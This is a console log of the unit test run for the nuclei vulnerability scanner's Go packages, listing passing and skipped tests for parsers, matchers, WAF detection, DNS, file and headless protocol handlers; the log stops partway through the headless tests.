github.com/projectdiscovery/nuclei/v3/pkg/input/formats [no test files] === RUN TestBurpParse --- PASS: TestBurpParse (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/input/formats/burp 1.222s === RUN TestJSONFormatterParse --- PASS: TestJSONFormatterParse (0.10s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/input/formats/json 1.343s === RUN TestOpenAPIParser --- PASS: TestOpenAPIParser (0.15s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/input/formats/openapi 1.626s === RUN TestSwaggerAPIParser --- PASS: TestSwaggerAPIParser (0.01s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/input/formats/swagger 1.474s === RUN TestYamlFormatterParse --- PASS: TestYamlFormatterParse (0.01s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/input/formats/yaml 1.239s ? github.com/projectdiscovery/nuclei/v3/pkg/input/provider [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/input/provider/http [no test files] === RUN Test_expandCIDR --- PASS: Test_expandCIDR (0.83s) === RUN Test_scanallips_normalizeStoreInputValue --- PASS: Test_scanallips_normalizeStoreInputValue (4.69s) === RUN Test_expandASNInputValue hmap_test.go:161: Skipping asnmap test as pdcp keys are not present --- SKIP: Test_expandASNInputValue (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/input/provider/list 6.921s === RUN TestParseHttpRequest === RUN TestParseHttpRequest/GET_Request http_test.go:64: {GET {[User-Agent X-Test Accept-Encoding] map[Accept-Encoding:gzip User-Agent:Go-http-client/1.1 X-Test:test] false false} GET / HTTP/1.1 Host: example.com User-Agent: Go-http-client/1.1 X-Test: test Accept-Encoding: gzip } === RUN TestParseHttpRequest/POST_Request_with_body http_test.go:64: {POST {[User-Agent Content-Length Content-Type Accept-Encoding] map[Accept-Encoding:gzip Content-Length:15 Content-Type:application/json User-Agent:Go-http-client/1.1] false false} {"key":"value"} POST /resource HTTP/1.1 Host: example.com User-Agent: Go-http-client/1.1 Content-Length: 15 Content-Type: application/json Accept-Encoding: gzip {"key":"value"}} === RUN TestParseHttpRequest/PUT_Request_with_body http_test.go:64: {PUT {[User-Agent Content-Length Content-Type Accept-Encoding] map[Accept-Encoding:gzip Content-Length:11 Content-Type:text/plain User-Agent:Go-http-client/1.1] false false} update data PUT /update HTTP/1.1 Host: example.com User-Agent: Go-http-client/1.1 Content-Length: 11 Content-Type: text/plain Accept-Encoding: gzip update data} === RUN TestParseHttpRequest/DELETE_Request http_test.go:64: {DELETE {[User-Agent X-User Accept-Encoding] map[Accept-Encoding:gzip User-Agent:Go-http-client/1.1 X-User:user1] false false} DELETE /delete HTTP/1.1 Host: example.com User-Agent: Go-http-client/1.1 X-User: user1 Accept-Encoding: gzip } --- PASS: TestParseHttpRequest (0.01s) --- PASS: TestParseHttpRequest/GET_Request (0.00s) --- PASS: TestParseHttpRequest/POST_Request_with_body (0.00s) --- PASS: TestParseHttpRequest/PUT_Request_with_body (0.00s) --- PASS: TestParseHttpRequest/DELETE_Request (0.00s) === RUN TestUnmarshalJSON === RUN TestUnmarshalJSON/basic_url === RUN TestUnmarshalJSON/basic_url_with_scheme --- PASS: TestUnmarshalJSON (0.03s) --- PASS: TestUnmarshalJSON/basic_url (0.03s) --- PASS: TestUnmarshalJSON/basic_url_with_scheme (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/input/types 1.156s === RUN TestTemplateInstallation [INF] nuclei-templates are not installed, installing... [INF] Successfully installed nuclei-templates at /tmp/nuclei-templates-3436038088/templates template_test.go:60: Installed 11340 templates --- PASS: TestTemplateInstallation (53.07s) === RUN TestIsOutdatedVersion === RUN TestIsOutdatedVersion/Empty_latest_version_should_not_trigger_update === RUN TestIsOutdatedVersion/Same_versions_should_not_trigger_update === RUN TestIsOutdatedVersion/Older_version_should_trigger_update === RUN TestIsOutdatedVersion/Newer_current_version_should_not_trigger_update === RUN TestIsOutdatedVersion/Dev_version_matching_release_should_not_trigger_update === RUN TestIsOutdatedVersion/Outdated_dev_version_should_trigger_update === RUN TestIsOutdatedVersion/Invalid_current_version_should_trigger_update_(fallback) === RUN TestIsOutdatedVersion/Invalid_latest_version_should_trigger_update_(fallback) === RUN TestIsOutdatedVersion/Same_invalid_versions_should_not_trigger_update_(fallback) --- PASS: TestIsOutdatedVersion (0.00s) --- PASS: TestIsOutdatedVersion/Empty_latest_version_should_not_trigger_update (0.00s) --- PASS: TestIsOutdatedVersion/Same_versions_should_not_trigger_update (0.00s) --- PASS: TestIsOutdatedVersion/Older_version_should_trigger_update (0.00s) --- PASS: TestIsOutdatedVersion/Newer_current_version_should_not_trigger_update (0.00s) --- PASS: TestIsOutdatedVersion/Dev_version_matching_release_should_not_trigger_update (0.00s) --- PASS: TestIsOutdatedVersion/Outdated_dev_version_should_trigger_update (0.00s) --- PASS: TestIsOutdatedVersion/Invalid_current_version_should_trigger_update_(fallback) (0.00s) --- PASS: TestIsOutdatedVersion/Invalid_latest_version_should_trigger_update_(fallback) (0.00s) --- PASS: TestIsOutdatedVersion/Same_invalid_versions_should_not_trigger_update_(fallback) (0.00s) === RUN TestVersionCheck --- PASS: TestVersionCheck (0.46s) === RUN TestZipSlip === RUN TestZipSlip/negative_scenarios --- PASS: TestZipSlip (0.00s) --- PASS: TestZipSlip/negative_scenarios (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/installer 54.970s === RUN TestNewCompilerConsoleDebug --- PASS: TestNewCompilerConsoleDebug (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/js/compiler 1.370s ? github.com/projectdiscovery/nuclei/v3/pkg/js/devtools/bindgen [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/devtools/bindgen/cmd/bindgen [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/devtools/scrapefuncs [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/devtools/tsgen [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/devtools/tsgen/cmd/tsgen [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libbytes [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libfs [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libgoconsole [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libikev2 [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libkerberos [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libldap [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libmssql [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libmysql [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libnet [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/liboracle [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libpop3 [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libpostgres [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/librdp [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libredis [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/librsync [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libsmb [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libsmtp [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libssh [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libstructs [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libtelnet [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/generated/go/libvnc [no test files] === RUN TestScriptsRuntime 2025/08/22 17:48:29 { "a": 1, "b": 2 } --- PASS: TestScriptsRuntime (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/js/global 1.452s ? github.com/projectdiscovery/nuclei/v3/pkg/js/gojs [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/libs/bytes [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/libs/fs [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/libs/goconsole [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/libs/ikev2 [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/libs/kerberos [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/libs/ldap [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/libs/mssql [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/libs/mysql [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/libs/net [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/libs/oracle [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/libs/pop3 [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/libs/postgres [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/libs/rdp [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/libs/redis [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/libs/rsync [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/libs/smb [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/libs/smtp [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/libs/ssh [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/libs/structs [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/libs/telnet [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/libs/vnc [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/utils [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/utils/pgwrap [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/keys [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/loader/parser [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/loader/workflow [no test files] === RUN TestInfoJsonMarshal --- PASS: TestInfoJsonMarshal (0.05s) === RUN TestInfoYamlMarshal --- PASS: TestInfoYamlMarshal (0.00s) === RUN TestUnmarshal --- PASS: TestUnmarshal (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/model 1.325s === RUN TestYamlUnmarshal === RUN TestYamlUnmarshal/Info === RUN TestYamlUnmarshal/info === RUN TestYamlUnmarshal/inFo_ === RUN TestYamlUnmarshal/infO_ === RUN TestYamlUnmarshal/_INFO_ --- PASS: TestYamlUnmarshal (0.00s) --- PASS: TestYamlUnmarshal/Info (0.00s) --- PASS: TestYamlUnmarshal/info (0.00s) --- PASS: TestYamlUnmarshal/inFo_ (0.00s) --- PASS: TestYamlUnmarshal/infO_ (0.00s) --- PASS: TestYamlUnmarshal/_INFO_ (0.00s) === RUN TestYamlMarshal --- PASS: TestYamlMarshal (0.00s) === RUN TestYamlUnmarshalFail --- PASS: TestYamlUnmarshalFail (0.00s) === RUN TestGetSupportedSeverities --- PASS: TestGetSupportedSeverities (0.00s) === RUN TestMarshalJSON --- PASS: TestMarshalJSON (0.01s) === RUN TestSeveritiesMarshalYaml --- PASS: TestSeveritiesMarshalYaml (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity 1.298s ? github.com/projectdiscovery/nuclei/v3/pkg/model/types/stringslice [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/model/types/userAgent [no test files] === RUN TestMakeDynamicValuesCallback === RUN TestMakeDynamicValuesCallback/all === RUN TestMakeDynamicValuesCallback/first --- PASS: TestMakeDynamicValuesCallback (0.00s) --- PASS: TestMakeDynamicValuesCallback/all (0.00s) --- PASS: TestMakeDynamicValuesCallback/first (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/operators 1.286s === RUN TestDslExpressions === RUN TestDslExpressions/resolve("scanme.sh") resolve("scanme.sh"): 128.199.158.128 === RUN TestDslExpressions/resolve("scanme.sh","a") resolve("scanme.sh","a"): 128.199.158.128 === RUN TestDslExpressions/resolve("scanme.sh","6") resolve("scanme.sh","6"): 2400:6180:0:d0::91:1001 === RUN TestDslExpressions/resolve("scanme.sh","aaaa") resolve("scanme.sh","aaaa"): 2400:6180:0:d0::91:1001 === RUN TestDslExpressions/resolve("scanme.sh","soa") resolve("scanme.sh","soa"): ns69.domaincontrol.com --- PASS: TestDslExpressions (0.08s) --- PASS: TestDslExpressions/resolve("scanme.sh") (0.01s) --- PASS: TestDslExpressions/resolve("scanme.sh","a") (0.02s) --- PASS: TestDslExpressions/resolve("scanme.sh","6") (0.01s) --- PASS: TestDslExpressions/resolve("scanme.sh","aaaa") (0.02s) --- PASS: TestDslExpressions/resolve("scanme.sh","soa") (0.01s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/operators/common/dsl 1.371s === RUN TestExtractor_ExtractRegex --- PASS: TestExtractor_ExtractRegex (0.00s) === RUN TestExtractor_ExtractKval --- PASS: TestExtractor_ExtractKval (0.00s) === RUN TestExtractor_ExtractXPath --- PASS: TestExtractor_ExtractXPath (0.00s) === RUN TestExtractor_ExtractJSON --- PASS: TestExtractor_ExtractJSON (0.01s) === RUN TestExtractor_ExtractDSL --- PASS: TestExtractor_ExtractDSL (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/operators/extractors 1.292s === RUN TestWordANDCondition --- PASS: TestWordANDCondition (0.00s) === RUN TestRegexANDCondition --- PASS: TestRegexANDCondition (0.00s) === RUN TestORCondition --- PASS: TestORCondition (0.00s) === RUN TestRegexOrCondition --- PASS: TestRegexOrCondition (0.00s) === RUN TestHexEncoding --- PASS: TestHexEncoding (0.00s) === RUN TestMatcher_MatchDSL --- PASS: TestMatcher_MatchDSL (0.00s) === RUN TestMatcher_MatchXPath_HTML --- PASS: TestMatcher_MatchXPath_HTML (0.00s) === RUN TestMatcher_MatchXPath_XML --- PASS: TestMatcher_MatchXPath_XML (0.00s) === RUN TestValidate --- PASS: TestValidate (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/operators/matchers 1.268s === RUN TestStandardWriterRequest === RUN TestStandardWriterRequest/WithoutTraceAndError === RUN TestStandardWriterRequest/TraceAndErrorWithoutError === RUN TestStandardWriterRequest/ErrorWithWrappedError --- PASS: TestStandardWriterRequest (0.00s) --- PASS: TestStandardWriterRequest/WithoutTraceAndError (0.00s) --- PASS: TestStandardWriterRequest/TraceAndErrorWithoutError (0.00s) --- PASS: TestStandardWriterRequest/ErrorWithWrappedError (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/output 1.355s === RUN TestTrackErrorKind --- PASS: TestTrackErrorKind (0.02s) === RUN TestTrackWaf_Detect --- PASS: TestTrackWaf_Detect (0.01s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/output/stats 1.046s === RUN TestWAFDetection === RUN TestWAFDetection/Cloudflare_WAF === RUN TestWAFDetection/ModSecurity_WAF === RUN TestWAFDetection/No_WAF === RUN TestWAFDetection/Wordfence_WAF === RUN TestWAFDetection/Sucuri_WAF --- PASS: TestWAFDetection (0.02s) --- PASS: TestWAFDetection/Cloudflare_WAF (0.00s) --- PASS: TestWAFDetection/ModSecurity_WAF (0.00s) --- PASS: TestWAFDetection/No_WAF (0.00s) --- PASS: TestWAFDetection/Wordfence_WAF (0.00s) --- PASS: TestWAFDetection/Sucuri_WAF (0.00s) === RUN TestWAFDetectionNilPointerSafety === RUN TestWAFDetectionNilPointerSafety/nil_detector === RUN TestWAFDetectionNilPointerSafety/nil_regexCache === RUN TestWAFDetectionNilPointerSafety/regexCache_with_nil_regex === RUN TestWAFDetectionNilPointerSafety/empty_regexCache --- PASS: TestWAFDetectionNilPointerSafety (0.00s) --- PASS: TestWAFDetectionNilPointerSafety/nil_detector (0.00s) --- PASS: TestWAFDetectionNilPointerSafety/nil_regexCache (0.00s) --- PASS: TestWAFDetectionNilPointerSafety/regexCache_with_nil_regex (0.00s) --- PASS: TestWAFDetectionNilPointerSafety/empty_regexCache (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/output/stats/waf 1.041s ? github.com/projectdiscovery/nuclei/v3/pkg/progress [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/projectfile [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/protocols [no test files] === RUN TestCodeProtocol --- PASS: TestCodeProtocol (0.60s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/protocols/code 1.992s === RUN TestNormalizeAppName --- PASS: TestNormalizeAppName (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/automaticscan 1.562s ? github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/contextargs [no test files] === RUN TestEvaluate --- PASS: TestEvaluate (0.00s) === RUN TestEval --- PASS: TestEval (0.00s) === RUN TestUnresolvedVariablesCheck --- PASS: TestUnresolvedVariablesCheck (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/expressions 1.355s === RUN TestBatteringRamGenerator --- PASS: TestBatteringRamGenerator (0.00s) === RUN TestPitchforkGenerator --- PASS: TestPitchforkGenerator (0.00s) === RUN TestClusterbombGenerator --- PASS: TestClusterbombGenerator (0.00s) === RUN TestParsePayloadsWithAggression --- PASS: TestParsePayloadsWithAggression (0.00s) === RUN TestLoadPayloads === RUN TestLoadPayloads/templates-directory === RUN TestLoadPayloads/templates-path-relative === RUN TestLoadPayloads/template-directory === RUN TestLoadPayloads/invalid --- PASS: TestLoadPayloads (2.83s) --- PASS: TestLoadPayloads/templates-directory (0.00s) --- PASS: TestLoadPayloads/templates-path-relative (0.00s) --- PASS: TestLoadPayloads/template-directory (0.00s) --- PASS: TestLoadPayloads/invalid (0.00s) === RUN TestLoadPayloadsWithAccess === RUN TestLoadPayloadsWithAccess/no-sandbox-unix --- PASS: TestLoadPayloadsWithAccess (1.38s) --- PASS: TestLoadPayloadsWithAccess/no-sandbox-unix (0.00s) === RUN TestMergeMapsMany --- PASS: TestMergeMapsMany (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/generators 5.677s ? github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/globalmatchers [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/helpers/deserialization [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/helpers/eventcreator [no test files] === RUN TestHexDumpHighlighting === RUN TestHexDumpHighlighting/Test_highlighting_when_the_snippet_is_wrapped === RUN TestHexDumpHighlighting/Test_highlight_when_the_snippet_contains_separator_character --- PASS: TestHexDumpHighlighting (0.01s) --- PASS: TestHexDumpHighlighting/Test_highlighting_when_the_snippet_is_wrapped (0.01s) --- PASS: TestHexDumpHighlighting/Test_highlight_when_the_snippet_contains_separator_character (0.00s) === RUN TestHighlight === RUN TestHighlight/Test_highlighting_when_the_snippet_is_wrapped === RUN TestHighlight/Test_highlighting_without_hexdump abcdefghijklmnabcdefghijklmnabcdefghijklmnabcdefghijklmnabcdefghijklmnabcdefghijklmnabcdefghijklmnabcdefghijklmnabcdefghijklmn=== RUN TestHighlight/Test_the_response_is_not_modified_if_noColor_is_true === RUN TestHighlight/Test_the_response_is_not_modified_if_noColor_is_true#01 --- PASS: TestHighlight (0.01s) --- PASS: TestHighlight/Test_highlighting_when_the_snippet_is_wrapped (0.00s) --- PASS: TestHighlight/Test_highlighting_without_hexdump (0.00s) --- PASS: TestHighlight/Test_the_response_is_not_modified_if_noColor_is_true (0.00s) --- PASS: TestHighlight/Test_the_response_is_not_modified_if_noColor_is_true#01 (0.00s) === RUN TestMultiSubstringMatchHighlight --- PASS: TestMultiSubstringMatchHighlight (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/helpers/responsehighlighter 1.337s ? github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/helpers/writer [no test files] === RUN TestCacheCheck === RUN TestCacheCheck/increment_host_error === RUN TestCacheCheck/flagged [INF] Skipped TestCacheCheck:80 from target list as found unresponsive 5 times === RUN TestCacheCheck/mark_failed_or_remove --- PASS: TestCacheCheck (0.00s) --- PASS: TestCacheCheck/increment_host_error (0.00s) --- PASS: TestCacheCheck/flagged (0.00s) --- PASS: TestCacheCheck/mark_failed_or_remove (0.00s) === RUN TestTrackErrors [INF] Skipped custom:80 from target list as found unresponsive 3 times --- PASS: TestTrackErrors (0.00s) === RUN TestCacheItemDo --- PASS: TestCacheItemDo (0.00s) === RUN TestRemove [INF] Skipped TestRemove:80 from target list as found unresponsive 100 times --- PASS: TestRemove (0.01s) === RUN TestCacheMarkFailed --- PASS: TestCacheMarkFailed (0.00s) === RUN TestCacheMarkFailedConcurrent [INF] Skipped example.com:80 from target list as found unresponsive 200 times [INF] Skipped example.com:443 from target list as found unresponsive 100 times --- PASS: TestCacheMarkFailedConcurrent (0.01s) === RUN TestCacheCheckConcurrent --- PASS: TestCacheCheckConcurrent (0.01s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/hosterrorscache 1.224s ? github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/interactsh [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/marker [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolinit [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate [no test files] === RUN TestGetRandomIp === RUN TestGetRandomIp/Valid_C_class === RUN TestGetRandomIp/Valid_B_class === RUN TestGetRandomIp/Valid_A_class === RUN TestGetRandomIp/Valid_classless_zero_based_network === RUN TestGetRandomIp/Valid_classless_non-zero_based_network === RUN TestGetRandomIp/Multiple_CIDRs === RUN TestGetRandomIp/Negative_CIDR_length === RUN TestGetRandomIp/Large_CIDR_length === RUN TestGetRandomIp/No_CIDR_provided === RUN TestGetRandomIp/Valid_but_crazy === RUN TestGetRandomIp/Valid_but_unlikely === RUN TestGetRandomIp/Valid_IPv6 === RUN TestGetRandomIp/Classless_IPv4_starting_with_a_non-zero_base === RUN TestGetRandomIp/IPv6_and_IPv4 === RUN TestGetRandomIp/Negative_CIDR_length_IPv6 === RUN TestGetRandomIp/Large_CIDR_length_IPv6 === RUN TestGetRandomIp/Valid_but_unlikely_IPv6 --- PASS: TestGetRandomIp (0.00s) --- PASS: TestGetRandomIp/Valid_C_class (0.00s) --- PASS: TestGetRandomIp/Valid_B_class (0.00s) --- PASS: TestGetRandomIp/Valid_A_class (0.00s) --- PASS: TestGetRandomIp/Valid_classless_zero_based_network (0.00s) --- PASS: TestGetRandomIp/Valid_classless_non-zero_based_network (0.00s) --- PASS: TestGetRandomIp/Multiple_CIDRs (0.00s) --- PASS: TestGetRandomIp/Negative_CIDR_length (0.00s) --- PASS: TestGetRandomIp/Large_CIDR_length (0.00s) --- PASS: TestGetRandomIp/No_CIDR_provided (0.00s) --- PASS: TestGetRandomIp/Valid_but_crazy (0.00s) --- PASS: TestGetRandomIp/Valid_but_unlikely (0.00s) --- PASS: TestGetRandomIp/Valid_IPv6 (0.00s) --- PASS: TestGetRandomIp/Classless_IPv4_starting_with_a_non-zero_base (0.00s) --- PASS: TestGetRandomIp/IPv6_and_IPv4 (0.00s) --- PASS: TestGetRandomIp/Negative_CIDR_length_IPv6 (0.00s) --- PASS: TestGetRandomIp/Large_CIDR_length_IPv6 (0.00s) --- PASS: TestGetRandomIp/Valid_but_unlikely_IPv6 (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/randomip 1.036s === RUN TestReplacerReplace === RUN TestReplacerReplace/Invalid_arguments === RUN TestReplacerReplace/Nested === RUN TestReplacerReplace/Basic === RUN TestReplacerReplace/No_template_variables === RUN TestReplacerReplace/Nested_variable === RUN TestReplacerReplace/Space_in_variable_name === RUN TestReplacerReplace/Escaped_marker_in_template === RUN TestReplacerReplace/Escaping_no_marker_in_template === RUN TestReplacerReplace/Empty_variable_name === RUN TestReplacerReplace/Multiple_replacement --- PASS: TestReplacerReplace (0.00s) --- PASS: TestReplacerReplace/Invalid_arguments (0.00s) --- PASS: TestReplacerReplace/Nested (0.00s) --- PASS: TestReplacerReplace/Basic (0.00s) --- PASS: TestReplacerReplace/No_template_variables (0.00s) --- PASS: TestReplacerReplace/Nested_variable (0.00s) --- PASS: TestReplacerReplace/Space_in_variable_name (0.00s) --- PASS: TestReplacerReplace/Escaped_marker_in_template (0.00s) --- PASS: TestReplacerReplace/Escaping_no_marker_in_template (0.00s) --- PASS: TestReplacerReplace/Empty_variable_name (0.00s) --- PASS: TestReplacerReplace/Multiple_replacement (0.00s) === RUN TestReplacerReplaceOne === RUN TestReplacerReplaceOne/Basic === RUN TestReplacerReplaceOne/Basic_Multiple_Vars === RUN TestReplacerReplaceOne/Missing_key === RUN TestReplacerReplaceOne/Replacement_value_empty === RUN TestReplacerReplaceOne/Empty_key_and_value_different_markers === RUN TestReplacerReplaceOne/Empty_key_and_value_same_marker --- PASS: TestReplacerReplaceOne (0.00s) --- PASS: TestReplacerReplaceOne/Basic (0.00s) --- PASS: TestReplacerReplaceOne/Basic_Multiple_Vars (0.00s) --- PASS: TestReplacerReplaceOne/Missing_key (0.00s) --- PASS: TestReplacerReplaceOne/Replacement_value_empty (0.00s) --- PASS: TestReplacerReplaceOne/Empty_key_and_value_different_markers (0.00s) --- PASS: TestReplacerReplaceOne/Empty_key_and_value_same_marker (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/replacer 1.319s ? github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/uncover [no test files] === RUN TestExcludeMatchers --- PASS: TestExcludeMatchers (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/utils/excludematchers 1.013s === RUN TestDumpVariables --- PASS: TestDumpVariables (0.00s) === RUN TestProcess --- PASS: TestProcess (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/utils/vardump 1.348s === RUN TestVariablesEvaluate --- PASS: TestVariablesEvaluate (0.07s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/variables 1.559s === RUN TestDNSCompileMake --- PASS: TestDNSCompileMake (0.53s) === RUN TestDNSRequests === RUN TestDNSRequests/dns-regular === RUN TestDNSRequests/dns-payload --- PASS: TestDNSRequests (0.00s) --- PASS: TestDNSRequests/dns-regular (0.00s) --- PASS: TestDNSRequests/dns-payload (0.00s) === RUN TestResponseToDSLMap --- PASS: TestResponseToDSLMap (0.00s) === RUN TestDNSOperatorMatch === RUN TestDNSOperatorMatch/valid === RUN TestDNSOperatorMatch/rcode === RUN TestDNSOperatorMatch/negative === RUN TestDNSOperatorMatch/invalid === RUN TestDNSOperatorMatch/caseInsensitive --- PASS: TestDNSOperatorMatch (0.00s) --- PASS: TestDNSOperatorMatch/valid (0.00s) --- PASS: TestDNSOperatorMatch/rcode (0.00s) --- PASS: TestDNSOperatorMatch/negative (0.00s) --- PASS: TestDNSOperatorMatch/invalid (0.00s) --- PASS: TestDNSOperatorMatch/caseInsensitive (0.00s) === RUN TestDNSOperatorExtract === RUN TestDNSOperatorExtract/extract === RUN TestDNSOperatorExtract/kval --- PASS: TestDNSOperatorExtract (0.00s) --- PASS: TestDNSOperatorExtract/extract (0.00s) --- PASS: TestDNSOperatorExtract/kval (0.00s) === RUN TestDNSMakeResult --- PASS: TestDNSMakeResult (0.00s) === RUN TestDNSExecuteWithResults === RUN TestDNSExecuteWithResults/domain-valid --- PASS: TestDNSExecuteWithResults (0.01s) --- PASS: TestDNSExecuteWithResults/domain-valid (0.01s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/protocols/dns 1.962s ? github.com/projectdiscovery/nuclei/v3/pkg/protocols/dns/dnsclientpool [no test files] === RUN TestFindInputPaths --- PASS: TestFindInputPaths (0.42s) === RUN TestResponseToDSLMap --- PASS: TestResponseToDSLMap (0.00s) === RUN TestFileOperatorMatch === RUN TestFileOperatorMatch/valid === RUN TestFileOperatorMatch/negative === RUN TestFileOperatorMatch/invalid === RUN TestFileOperatorMatch/caseInsensitive --- PASS: TestFileOperatorMatch (0.00s) --- PASS: TestFileOperatorMatch/valid (0.00s) --- PASS: TestFileOperatorMatch/negative (0.00s) --- PASS: TestFileOperatorMatch/invalid (0.00s) --- PASS: TestFileOperatorMatch/caseInsensitive (0.00s) === RUN TestFileOperatorExtract === RUN TestFileOperatorExtract/extract === RUN TestFileOperatorExtract/kval --- PASS: TestFileOperatorExtract (0.00s) --- PASS: TestFileOperatorExtract/extract (0.00s) --- PASS: TestFileOperatorExtract/kval (0.00s) === RUN TestFileMakeResultWithOrMatcher --- PASS: TestFileMakeResultWithOrMatcher (0.00s) === RUN TestFileMakeResultWithAndMatcher --- PASS: TestFileMakeResultWithAndMatcher (0.00s) === RUN TestFileExecuteWithResults === RUN TestFileExecuteWithResults/valid === RUN TestFileExecuteWithResults/valid#01 === RUN TestFileExecuteWithResults/valid#02 --- PASS: TestFileExecuteWithResults (0.01s) --- PASS: TestFileExecuteWithResults/valid (0.00s) --- PASS: TestFileExecuteWithResults/valid#01 (0.00s) --- PASS: TestFileExecuteWithResults/valid#02 (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/protocols/file 1.899s testing: warning: no tests to run PASS ok github.com/projectdiscovery/nuclei/v3/pkg/protocols/headless 1.417s [no tests to run] === RUN TestActionNavigate --- PASS: TestActionNavigate (7.08s) === RUN TestActionScript === RUN TestActionScript/run-and-results === RUN TestActionScript/hook --- PASS: TestActionScript (13.03s) --- PASS: TestActionScript/run-and-results (6.56s) --- PASS: TestActionScript/hook (6.46s) === RUN TestActionClick --- PASS: TestActionClick (6.56s) === RUN TestActionRightClick --- PASS: TestActionRightClick (6.58s) 